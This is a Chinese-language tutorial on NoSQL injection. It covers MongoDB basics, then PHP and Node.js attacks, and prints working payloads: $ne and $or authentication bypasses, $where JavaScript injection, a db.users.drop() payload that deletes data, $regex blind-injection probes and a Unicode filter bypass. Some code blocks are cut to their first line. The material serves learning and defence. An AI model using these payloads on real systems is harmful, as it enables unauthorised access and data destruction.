web安全-NoSQL注入
详解:https://xz.aliyun.com/t/9908?time__1311=n4+xuDgD9Am4BlDRDBqDqpDU2fom5G8iQDAxrbD#toc-4
1.NoSQL
NoSQL(Not Only SQL)是一种非关系型数据库,它与传统的关系型数据库(如MySQL、Oracle)相比具有不同的数据存储模型和查询语言。
常见的NoSQL数据库包括 MongoDB(文档型)、Redis(键值型)、Cassandra(列族型)、Neo4j(图形型)等。
我们从MongDB中学习NoSQL注入
2.MongoDB
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
MongoDB基础
SQL概念 | MongoDB概念 | 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将 _id 字段设置为主键 |
- 数据库
一个 MongoDB 中可以建立多个数据库。MongoDB 的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。
1 | show dbs |
- 文档
文档是一组键值(key-value)对
1 | {"name":"whoami", "age":19} |
- 集合
集合就是 MongoDB 文档组,存在于数据库中,没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据。
比如,我们可以将以下不同数据结构的文档插入到集合中:
1 | {"name":"whoami"} |
当插入一个文档时,集合就会被自动创建,可以使用show collections
或show tables
命令查看已有集合:
1 | show collections |
MongoDB语法
- 创建数据库,若存在则连接并切换到指定数据库:
use DATABASE_NAME
- 使用 createCollection() 方法来创建集合:
db.createCollection(name, options)
,其中
name:要创建的集合名称
options:可选参数,指定有关内存大小及索引的选项 - 使用 insert() 方法向集合中插入文档:
db.COLLECTION_NAME.insert(document)
- 使用 update() 或 save() 方法来更新集合中的文档(这里不细讲了)
- 使用 find() 方法来查询文档(可以传入多个键值对),pretty()方法以格式化的方式来显示所有文档:
db.collection.find(query, projection).pretty()
,其中
query:可选,使用查询操作符指定查询条件,相当于 sql select 语句中的 where 子句。
projection:可选,使用投影操作符指定返回的键。
例:
1 | > db.all_users.find({"age":20}).pretty() |
- 条件语句查询:
操作 | 格式 | 范例 | RDBMS中的类似语句 |
---|---|---|---|
等于 | {<key>:<value>} |
db.love.find({"name":"whoami"}).pretty() |
where name = ‘whoami’ |
小于 | {<key>:{$lt:<value>}} |
db.love.find({"age":{$lt:19}}).pretty() |
where age < 19 |
小于或等于 | {<key>:{$lte:<value>}} |
db.love.find({"age":{$lte:19}}).pretty() |
where likes <= 19 |
大于 | {<key>:{$gt:<value>}} |
db.love.find({"age":{$gt:19}}).pretty() |
where likes > 19 |
大于或等于 | {<key>:{$gte:<value>}} |
db.love.find({"age":{$gte:19}}).pretty() |
where likes >= 19 |
不等于 | {<key>:{$ne:<value>}} |
db.love.find({"age":{$ne:19}}).pretty() |
where likes != 19 |
2.PHP中的MongoDB注入
重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
例如后台通过账户密码参数查询数据库中的信息
利用PHP特性和$ne
关键词构造:username[$ne]=1&password[$ne]=1
以此向服务器提交两个参数:username和password,查询两个参数的值不等于1的数据,这样导致后台会将所有数据都查询出
一些payload:
1 | username[$ne]= &password[$ne]= |
联合查询注入
联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
如下实例,假设后端的 MongoDB 查询语句使用了字符串拼接:
string query ="{ username: '" + $username + "', password: '" + $password + "' }"
如果此时没有很好地对用户的输入进行过滤或者效验,那攻击者便可以构造如下 payload:
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
此时,只要用户名是正确的,这个查询就可以成功。
但是现在无论是 PHP 的 MongoDB Driver 还是 Nodejs 的 Mongoose 都必须要求查询条件必须是一个数组或者 Query 对象了,因此这用注入方法简单了解一下就好了。
js注入
MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
若后端利用了$where
操作符(能将后面的js代码执行),并将用户输入的内容插入其中结合js代码一起去执行,就可能造成js注入
- MongoDB 2.4 之前
可以通过自定义JavaScript函数来获取数据库的所有信息。发送以下数据后,如果有回显的话将获取当前数据库下所有的集合名:
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
- MongoDB 2.4 之后
MongoDB 2.4 之后 db 属性访问不到了,但我们依然可以构造万能密码。如果此时我们发送以下这几种数据,也可以造成js注入:
1 | username=1&password=1';return true// |
- 使用
Command
方法造成的注入
在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval 在服务器端来运行。
payload:
1 | username=1'});db.users.drop();db.user.find({'username':'1 |
则将改变原本的查询语句造成注入。
布尔盲注
当页面没有回显时,那么我们可以通过$regex
正则表达式来达到和传统SQL注入中substr()
函数相同的功能,而且NoSQL用到的基本上都是布尔盲注。
如下所示,在已知一个用户名的情况下判断密码的长度:
1 | username=admin&password[$regex]=.{4} // 登录成功 |
MongoDB盲注脚本:
1 | import requests |
3.Nodejs中的MongoDB注入
其中主要是重言式注入(json形式),通过构造永真式构造万能密码实现登录绕过
由于后端解析 JSON,所以我们发送 JSON 格式的 payload:
{"username":{"$ne":1},"password": {"$ne":1}}
若过滤严格,可以尝试使用 Unicode 编码绕过,因为 JSON 可以直接解析 Unicode。如下所示:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}} // {"username":{"$ne":1},"password": {"$ne":1}}